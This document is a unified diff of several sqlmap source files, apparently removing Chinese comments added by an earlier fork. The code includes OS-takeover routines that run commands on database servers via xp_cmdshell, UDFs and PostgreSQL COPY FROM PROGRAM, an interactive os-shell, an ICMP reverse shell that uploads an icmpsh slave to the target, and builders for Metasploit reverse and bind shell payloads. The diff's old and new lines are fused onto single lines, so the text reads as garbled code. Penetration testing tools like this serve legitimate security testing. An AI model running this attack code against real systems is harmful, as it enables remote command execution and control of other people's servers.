self._ask_redirect_choice(code, redurl, req.get_method()) self._ask_redirect_choice(code, redurl, req.get_method())
except ValueError: except ValueError:
redurl = None redurl = None
result = fp result = fp
if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect): if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect):
# 解析响应
parseResponse(content, headers) parseResponse(content, headers)
# 更新请求头中的Host
req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
if headers and HTTP_HEADER.SET_COOKIE in headers: if headers and HTTP_HEADER.SET_COOKIE in headers:
# 处理Cookie
cookies = dict() cookies = dict()
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
last = None last = None
@ -191,12 +145,11 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies) req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
try: try:
# 执行重定向请求
result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
except _urllib.error.HTTPError as ex: except _urllib.error.HTTPError as ex:
result = ex result = ex
# 处理特殊情况的hack # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046
try: try:
hasattr(result, "read") hasattr(result, "read")
except KeyError: except KeyError:
@ -204,6 +157,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
pass pass
result = _() result = _()
# Dirty hack for http://bugs.python.org/issue15701
try: try:
result.info() result.info()
except AttributeError: except AttributeError:
@ -215,7 +169,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
if not hasattr(result, "read"): if not hasattr(result, "read"):
def _(self, length=None): def _(self, length=None):
try: try:
retVal = getSafeExString(ex) retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
except: except:
retVal = "" retVal = ""
return getBytes(retVal) return getBytes(retVal)
@ -234,23 +188,15 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
else: else:
result = fp result = fp
# 记录最后的重定向URL
threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) threadData.lastRedirectURL = (threadData.lastRequestUID, redurl)
# 设置结果属性
result.redcode = code result.redcode = code
result.redurl = getUnicode(redurl) if six.PY3 else redurl result.redurl = getUnicode(redurl) if six.PY3 else redurl
return result return result
# 其他重定向状态码使用相同的处理方法
http_error_301 = http_error_303 = http_error_307 = http_error_302 http_error_301 = http_error_303 = http_error_307 = http_error_302
def _infinite_loop_check(self, req): def _infinite_loop_check(self, req):
"""
检查是否存在无限重定向循环
:param req: 请求对象
:raises: SqlmapConnectionException 如果检测到无限循环
"""
if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS):
errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys())
errMsg += "Please check all provided parameters and/or provide missing ones" errMsg += "Please check all provided parameters and/or provide missing ones"

@ -5,59 +5,17 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入必要的模块
# kb (Knowledge Base) 是一个全局对象,用于存储程序运行时的各种状态和数据
# 比如原始页面内容、错误状态、页面模板缓存等信息都存储在这里
from lib.core.data import kb from lib.core.data import kb
# 从connect模块导入Request类并重命名为Request
# Request类用于发送HTTP请求,是与目标网站交互的核心类
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def getPageTemplate(payload, place): def getPageTemplate(payload, place):
"""
获取页面模板的函数
这个函数的主要作用是:
1. 根据给定的SQL注入payload和注入位置获取目标页面
2. 将页面内容缓存起来避免重复请求
3. 返回页面内容和错误状态信息
参数说明:
payload: SQL注入的载荷,即要注入的SQL代码
place: 注入点的位置,表示在请求中的哪个位置进行注入
(比如URL参数POST数据Cookie等)
返回值:
返回一个包含两个元素的元组:
1. 页面内容 - 可能是原始页面或注入后的页面
2. 错误状态 - 表示页面解析是否出现错误
"""
# 初始化返回值
# kb.originalPage 存储了未注入时的原始页面内容
# kb.errorIsNone 表示错误检查的状态
retVal = (kb.originalPage, kb.errorIsNone) retVal = (kb.originalPage, kb.errorIsNone)
# 只有当payload和place都不为空时才执行注入操作
if payload and place: if payload and place:
# 检查这个payload和place的组合是否已经在缓存中
# kb.pageTemplates是一个字典,用于缓存不同注入组合的结果
if (payload, place) not in kb.pageTemplates: if (payload, place) not in kb.pageTemplates:
# 如果没有缓存,则发送新的请求
# Request.queryPage方法用于发送带有注入payload的请求
# content=True 表示需要返回页面内容
# raise404=False 表示遇到404错误时不抛出异常
# 返回值中的page是页面内容,其他两个值用下划线忽略
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
# 将结果存入缓存
# page 是获取到的页面内容
# kb.lastParserStatus is None 表示页面解析是否成功
# (None表示解析成功,非None表示解析出错)
kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None)
# 从缓存中获取之前存储的结果
retVal = kb.pageTemplates[(payload, place)] retVal = kb.pageTemplates[(payload, place)]
# 返回页面内容和错误状态
return retVal return retVal

@ -5,7 +5,6 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入必要的模块
from __future__ import print_function from __future__ import print_function
import sys import sys
@ -34,51 +33,36 @@ from thirdparty.six.moves import input as _input
class Abstraction(Web, UDF, XP_cmdshell): class Abstraction(Web, UDF, XP_cmdshell):
""" """
这个类定义了一个抽象层,用于操作系统接管功能 This class defines an abstraction layer for OS takeover functionalities
继承了WebUDF和XP_cmdshell类的功能 to UDF / XP_cmdshell objects
""" """
def __init__(self): def __init__(self):
# 初始化环境状态标志
self.envInitialized = False self.envInitialized = False
# 是否总是获取命令输出的标志
self.alwaysRetrieveCmdOutput = False self.alwaysRetrieveCmdOutput = False
# 调用父类的初始化方法
UDF.__init__(self) UDF.__init__(self)
Web.__init__(self) Web.__init__(self)
XP_cmdshell.__init__(self) XP_cmdshell.__init__(self)
def execCmd(self, cmd, silent=False): def execCmd(self, cmd, silent=False):
"""
执行系统命令的方法
根据不同的数据库类型选择不同的执行方式
"""
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
# PostgreSQL使用COPY命令执行
self.copyExecCmd(cmd) self.copyExecCmd(cmd)
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
# 如果有Web后门URL且不支持堆叠查询或UDF失败,使用Web后门执行
self.webBackdoorRunCmd(cmd) self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
# MySQL和PostgreSQL使用用户自定义函数执行
self.udfExecCmd(cmd, silent=silent) self.udfExecCmd(cmd, silent=silent)
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
# SQL Server使用xp_cmdshell扩展存储过程执行
self.xpCmdshellExecCmd(cmd, silent=silent) self.xpCmdshellExecCmd(cmd, silent=silent)
else: else:
# 不支持的数据库类型
errMsg = "Feature not yet implemented for the back-end DBMS" errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def evalCmd(self, cmd, first=None, last=None): def evalCmd(self, cmd, first=None, last=None):
"""
执行命令并返回结果的方法
"""
retVal = None retVal = None
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
@ -100,13 +84,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
return safechardecode(retVal) return safechardecode(retVal)
def runCmd(self, cmd): def runCmd(self, cmd):
"""
运行命令并处理输出的方法
"""
choice = None choice = None
if not self.alwaysRetrieveCmdOutput: if not self.alwaysRetrieveCmdOutput:
# 询问用户是否需要获取命令输出
message = "do you want to retrieve the command standard " message = "do you want to retrieve the command standard "
message += "output? [Y/n/a] " message += "output? [Y/n/a] "
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
@ -115,7 +95,6 @@ class Abstraction(Web, UDF, XP_cmdshell):
self.alwaysRetrieveCmdOutput = True self.alwaysRetrieveCmdOutput = True
if choice == 'Y' or self.alwaysRetrieveCmdOutput: if choice == 'Y' or self.alwaysRetrieveCmdOutput:
# 获取并显示命令输出
output = self.evalCmd(cmd) output = self.evalCmd(cmd)
if output: if output:
@ -123,20 +102,15 @@ class Abstraction(Web, UDF, XP_cmdshell):
else: else:
dataToStdout("No output\n") dataToStdout("No output\n")
else: else:
# 仅执行命令不获取输出
self.execCmd(cmd) self.execCmd(cmd)
def shell(self): def shell(self):
"""
提供交互式shell的方法
"""
if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
infoMsg = "calling OS shell. To quit type " infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg) logger.info(infoMsg)
else: else:
# 根据不同数据库类型显示相应的提示信息
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " infoMsg = "going to use 'COPY ... FROM PROGRAM ...' "
infoMsg += "command execution" infoMsg += "command execution"
@ -161,15 +135,12 @@ class Abstraction(Web, UDF, XP_cmdshell):
infoMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg) logger.info(infoMsg)
# 设置命令自动完成
autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX)
# shell的主循环
while True: while True:
command = None command = None
try: try:
# 获取用户输入的命令
command = _input("os-shell> ") command = _input("os-shell> ")
command = getUnicode(command, encoding=sys.stdin.encoding) command = getUnicode(command, encoding=sys.stdin.encoding)
except KeyboardInterrupt: except KeyboardInterrupt:
@ -191,9 +162,6 @@ class Abstraction(Web, UDF, XP_cmdshell):
self.runCmd(command) self.runCmd(command)
def _initRunAs(self): def _initRunAs(self):
"""
初始化以其他用户身份运行的功能
"""
if not conf.dbmsCred: if not conf.dbmsCred:
return return
@ -207,7 +175,6 @@ class Abstraction(Web, UDF, XP_cmdshell):
return return
if Backend.isDbms(DBMS.MSSQL): if Backend.isDbms(DBMS.MSSQL):
# SQL Server需要启用OPENROWSET功能
msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function "
msg += "is disabled by default. This function is needed to execute " msg += "is disabled by default. This function is needed to execute "
msg += "statements as another DBMS user since you provided the " msg += "statements as another DBMS user since you provided the "
@ -218,24 +185,23 @@ class Abstraction(Web, UDF, XP_cmdshell):
expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
inject.goStacked(expression) inject.goStacked(expression)
# TODO: add support for PostgreSQL
# elif Backend.isDbms(DBMS.PGSQL):
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
# inject.goStacked(expression)
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
"""
初始化环境的方法
"""
self._initRunAs() self._initRunAs()
if self.envInitialized and not forceInit: if self.envInitialized and not forceInit:
return return
if web: if web:
# 初始化Web环境
self.webInit() self.webInit()
else: else:
# 检查数据库操作系统
self.checkDbmsOs(detailed) self.checkDbmsOs(detailed)
if mandatory and not self.isDba(): if mandatory and not self.isDba():
# 警告用户当前可能没有足够的权限
warnMsg = "functionality requested probably does not work because " warnMsg = "functionality requested probably does not work because "
warnMsg += "the current session user is not a database administrator" warnMsg += "the current session user is not a database administrator"
@ -247,7 +213,6 @@ class Abstraction(Web, UDF, XP_cmdshell):
logger.warning(warnMsg) logger.warning(warnMsg)
# 根据不同数据库类型初始化相应功能
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
success = True success = True
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):

@ -5,13 +5,11 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的Python标准库
import os import os
import re import re
import socket import socket
import time import time
# 导入自定义模块和函数
from extra.icmpsh.icmpsh_m import main as icmpshmaster from extra.icmpsh.icmpsh_m import main as icmpshmaster
from lib.core.common import getLocalIP from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP from lib.core.common import getRemoteIP
@ -26,125 +24,94 @@ from lib.core.exception import SqlmapDataException
class ICMPsh(object): class ICMPsh(object):
""" """
这个类定义了调用icmpsh工具的方法,用于插件功能 This class defines methods to call icmpsh for plugins.
""" """
def _initVars(self): def _initVars(self):
""" self.lhostStr = None
初始化类的成员变量 self.rhostStr = None
""" self.localIP = getLocalIP()
self.lhostStr = None # 本地主机地址字符串 self.remoteIP = getRemoteIP() or conf.hostname
self.rhostStr = None # 远程主机地址字符串
self.localIP = getLocalIP() # 获取本地IP地址
self.remoteIP = getRemoteIP() or conf.hostname # 获取远程IP地址,如果获取失败则使用配置的主机名
# 设置icmpsh slave程序的路径
self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))
def _selectRhost(self): def _selectRhost(self):
"""
选择远程主机地址
返回: 用户输入的远程主机地址
"""
address = None address = None
message = "what is the back-end DBMS address? " # 提示用户输入数据库地址 message = "what is the back-end DBMS address? "
if self.remoteIP: if self.remoteIP:
message += "[Enter for '%s' (detected)] " % self.remoteIP # 如果检测到远程IP,则显示默认值 message += "[Enter for '%s' (detected)] " % self.remoteIP
while not address: while not address:
address = readInput(message, default=self.remoteIP) # 读取用户输入 address = readInput(message, default=self.remoteIP)
if conf.batch and not address: # 如果是批处理模式且没有提供地址,则报错 if conf.batch and not address:
raise SqlmapDataException("remote host address is missing") raise SqlmapDataException("remote host address is missing")
return address return address
def _selectLhost(self): def _selectLhost(self):
"""
选择本地主机地址
返回: 用户输入的本地主机地址
"""
address = None address = None
message = "what is the local address? " message = "what is the local address? "
if self.localIP: if self.localIP:
message += "[Enter for '%s' (detected)] " % self.localIP # 如果检测到本地IP,则显示默认值 message += "[Enter for '%s' (detected)] " % self.localIP
valid = None valid = None
while not valid: while not valid:
valid = True valid = True
address = readInput(message, default=self.localIP or "") # 读取用户输入 address = readInput(message, default=self.localIP or "")
try: try:
socket.inet_aton(address) # 验证IP地址格式是否正确 socket.inet_aton(address)
except socket.error: except socket.error:
valid = False valid = False
finally: finally:
valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None
if conf.batch and not address: # 批处理模式下没有地址则报错 if conf.batch and not address:
raise SqlmapDataException("local host address is missing") raise SqlmapDataException("local host address is missing")
elif address and not valid: # 地址格式无效则警告 elif address and not valid:
warnMsg = "invalid local host address" warnMsg = "invalid local host address"
logger.warning(warnMsg) logger.warning(warnMsg)
return address return address
def _prepareIngredients(self, encode=True): def _prepareIngredients(self, encode=True):
"""
准备ICMP shell所需的参数
"""
self.localIP = getattr(self, "localIP", None) self.localIP = getattr(self, "localIP", None)
self.remoteIP = getattr(self, "remoteIP", None) self.remoteIP = getattr(self, "remoteIP", None)
self.lhostStr = ICMPsh._selectLhost(self) # 获取本地主机地址 self.lhostStr = ICMPsh._selectLhost(self)
self.rhostStr = ICMPsh._selectRhost(self) # 获取远程主机地址 self.rhostStr = ICMPsh._selectRhost(self)
def _runIcmpshMaster(self): def _runIcmpshMaster(self):
"""
在本地运行icmpsh主程序
"""
infoMsg = "running icmpsh master locally" infoMsg = "running icmpsh master locally"
logger.info(infoMsg) logger.info(infoMsg)
icmpshmaster(self.lhostStr, self.rhostStr) # 启动icmpsh主程序 icmpshmaster(self.lhostStr, self.rhostStr)
def _runIcmpshSlaveRemote(self): def _runIcmpshSlaveRemote(self):
"""
在远程运行icmpsh从程序
"""
infoMsg = "running icmpsh slave remotely" infoMsg = "running icmpsh slave remotely"
logger.info(infoMsg) logger.info(infoMsg)
# 构建命令行参数: -t指定目标IP, -d指定延迟, -b指定缓冲区大小, -s指定数据大小
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)
self.execCmd(cmd, silent=True) # 执行命令 self.execCmd(cmd, silent=True)
def uploadIcmpshSlave(self, web=False): def uploadIcmpshSlave(self, web=False):
"""
上传icmpsh从程序到目标机器
参数:
web: 是否通过web方式上传
返回:
上传是否成功
"""
ICMPsh._initVars(self) ICMPsh._initVars(self)
self._randStr = randomStr(lowercase=True) # 生成随机字符串 self._randStr = randomStr(lowercase=True)
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr # 生成临时文件名 self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
# 构建远程文件完整路径
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
if web: # 通过web方式上传 if web:
written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
else: # 通过其他方式上传 else:
written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)
if written is not True: if written is not True:
# 上传失败的错误提示
errMsg = "there has been a problem uploading icmpsh, it " errMsg = "there has been a problem uploading icmpsh, it "
errMsg += "looks like the binary file has not been written " errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has " errMsg += "on the database underlying file system or an AV has "
@ -160,18 +127,14 @@ class ICMPsh(object):
return True return True
def icmpPwn(self): def icmpPwn(self):
""" ICMPsh._prepareIngredients(self)
执行ICMP shell攻击的主函数 self._runIcmpshSlaveRemote()
""" self._runIcmpshMaster()
ICMPsh._prepareIngredients(self) # 准备参数
self._runIcmpshSlaveRemote() # 运行远程从程序
self._runIcmpshMaster() # 运行本地主程序
debugMsg = "icmpsh master exited" debugMsg = "icmpsh master exited"
logger.debug(debugMsg) logger.debug(debugMsg)
time.sleep(1) time.sleep(1)
# 清理远程机器上的进程和文件
self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
time.sleep(1) time.sleep(1)
self.delRemoteFile(self._icmpslaveRemote) self.delRemoteFile(self._icmpslaveRemote)

@ -259,36 +259,24 @@ class Metasploit(object):
return _payloadStr return _payloadStr
def _selectPort(self): def _selectPort(self):
# 遍历_portData字典中的键值对
for connType, connStr in self._portData.items(): for connType, connStr in self._portData.items():
# 如果connectionStr以connType开头
if self.connectionStr.startswith(connType): if self.connectionStr.startswith(connType):
# 返回_skeletonSelection函数的返回值maxValue为65535default为1025到65535之间的随机数
return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def _selectRhost(self): def _selectRhost(self):
# 如果connectionStr以"bind"开头
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
# 提示用户输入后端DBMS地址默认为remoteIP
message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP
address = readInput(message, default=self.remoteIP) address = readInput(message, default=self.remoteIP)
# 如果用户没有输入地址
if not address: if not address:
# 将地址设为remoteIP
address = self.remoteIP address = self.remoteIP
# 返回地址
return address return address
# 如果connectionStr以"reverse"开头
elif self.connectionStr.startswith("reverse"): elif self.connectionStr.startswith("reverse"):
# 返回None
return None return None
# 如果connectionStr不以"bind"或"reverse"开头
else: else:
# 抛出SqlmapDataException异常
raise SqlmapDataException("unexpected connection type") raise SqlmapDataException("unexpected connection type")
def _selectLhost(self): def _selectLhost(self):
@ -308,11 +296,9 @@ class Metasploit(object):
raise SqlmapDataException("unexpected connection type") raise SqlmapDataException("unexpected connection type")
def _selectConnection(self): def _selectConnection(self):
# 选择连接类型
return self._skeletonSelection("connection type", self._msfConnectionsList) return self._skeletonSelection("connection type", self._msfConnectionsList)
def _prepareIngredients(self, encode=True): def _prepareIngredients(self, encode=True):
# 准备食材
self.connectionStr = self._selectConnection() self.connectionStr = self._selectConnection()
self.lhostStr = self._selectLhost() self.lhostStr = self._selectLhost()
self.rhostStr = self._selectRhost() self.rhostStr = self._selectRhost()
@ -322,13 +308,11 @@ class Metasploit(object):
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def _forgeMsfCliCmd(self, exitfunc="process"): def _forgeMsfCliCmd(self, exitfunc="process"):
# 构造Metasploit命令行
if kb.oldMsf: if kb.oldMsf:
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " EXITFUNC=%s" % exitfunc
self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " LPORT=%s" % self.portStr
# 根据连接类型选择LHOST或RHOST
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
self._cliCmd += " RHOST=%s" % self.rhostStr self._cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"): elif self.connectionStr.startswith("reverse"):
@ -336,7 +320,6 @@ class Metasploit(object):
else: else:
raise SqlmapDataException("unexpected connection type") raise SqlmapDataException("unexpected connection type")
# 如果是Windows系统且payload为windows/vncinject则添加DisableCourtesyShell参数
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " DisableCourtesyShell=true"
@ -393,54 +376,39 @@ class Metasploit(object):
self._cliCmd += "; exploit'" self._cliCmd += "; exploit'"
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
# 根据kb.oldMsf的值设置self._payloadCmd的值
if kb.oldMsf: if kb.oldMsf:
self._payloadCmd = self._msfPayload self._payloadCmd = self._msfPayload
else: else:
self._payloadCmd = "%s -p" % self._msfVenom self._payloadCmd = "%s -p" % self._msfVenom
# 添加payload连接字符串
self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " %s" % self.payloadConnStr
# 添加退出函数
self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " EXITFUNC=%s" % exitfunc
# 添加监听端口
self._payloadCmd += " LPORT=%s" % self.portStr self._payloadCmd += " LPORT=%s" % self.portStr
# 根据连接类型,添加监听主机
if self.connectionStr.startswith("reverse"): if self.connectionStr.startswith("reverse"):
self._payloadCmd += " LHOST=%s" % self.lhostStr self._payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"): elif not self.connectionStr.startswith("bind"):
raise SqlmapDataException("unexpected connection type") raise SqlmapDataException("unexpected connection type")
# 如果是Linux系统并且开启了提权选项则添加PrependChrootBreak和PrependSetuid参数
if Backend.isOs(OS.LINUX) and conf.privEsc: if Backend.isOs(OS.LINUX) and conf.privEsc:
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
# 根据kb.oldMsf的值设置self._payloadCmd的值
if kb.oldMsf: if kb.oldMsf:
# 如果extra参数为BufferRegister=EAX则添加msfEncode编码器并设置输出文件和格式
if extra == "BufferRegister=EAX": if extra == "BufferRegister=EAX":
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
# 如果extra参数不为空则添加extra参数
if extra is not None: if extra is not None:
self._payloadCmd += " %s" % extra self._payloadCmd += " %s" % extra
# 否则,设置输出文件
else: else:
self._payloadCmd += " X > \"%s\"" % outFile self._payloadCmd += " X > \"%s\"" % outFile
# 否则,设置输出文件和格式
else: else:
# 如果extra参数为BufferRegister=EAX则添加msfEncode编码器并设置输出文件和格式
if extra == "BufferRegister=EAX": if extra == "BufferRegister=EAX":
self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format) self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format)
# 如果extra参数不为空则添加extra参数
if extra is not None: if extra is not None:
self._payloadCmd += " %s" % extra self._payloadCmd += " %s" % extra
# 设置输出文件
self._payloadCmd += " > \"%s\"" % outFile self._payloadCmd += " > \"%s\"" % outFile
# 否则,设置输出文件和格式
else: else:
self._payloadCmd += " -f exe > \"%s\"" % outFile self._payloadCmd += " -f exe > \"%s\"" % outFile
@ -613,57 +581,39 @@ class Metasploit(object):
pass pass
def createMsfShellcode(self, exitfunc, format, extra, encode): def createMsfShellcode(self, exitfunc, format, extra, encode):
# 创建Metasploit Framework多阶段shellcode
infoMsg = "creating Metasploit Framework multi-stage shellcode " infoMsg = "creating Metasploit Framework multi-stage shellcode "
logger.info(infoMsg) logger.info(infoMsg)
# 生成随机字符串
self._randStr = randomStr(lowercase=True) self._randStr = randomStr(lowercase=True)
# 生成shellcode文件路径
self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr)
# 初始化Metasploit变量
Metasploit._initVars(self) Metasploit._initVars(self)
# 准备shellcode的成分
self._prepareIngredients(encode=encode) self._prepareIngredients(encode=encode)
# 生成Metasploit payload命令
self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra)
# 执行本地命令
logger.debug("executing local command: %s" % self._payloadCmd) logger.debug("executing local command: %s" % self._payloadCmd)
process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)
# 输出创建进度
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
# 检查进程状态
pollProcess(process) pollProcess(process)
# 获取进程错误输出
payloadStderr = process.communicate()[1] payloadStderr = process.communicate()[1]
# 搜索shellcode大小
match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr) match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr)
if match: if match:
# 获取shellcode大小
payloadSize = int(match.group(2)) payloadSize = int(match.group(2))
# 如果extra参数为BufferRegister=EAX则将shellcode大小除以2
if extra == "BufferRegister=EAX": if extra == "BufferRegister=EAX":
payloadSize = payloadSize // 2 payloadSize = payloadSize // 2
# 输出shellcode大小
debugMsg = "the shellcode size is %d bytes" % payloadSize debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg) logger.debug(debugMsg)
else: else:
# 如果没有找到shellcode大小则抛出异常
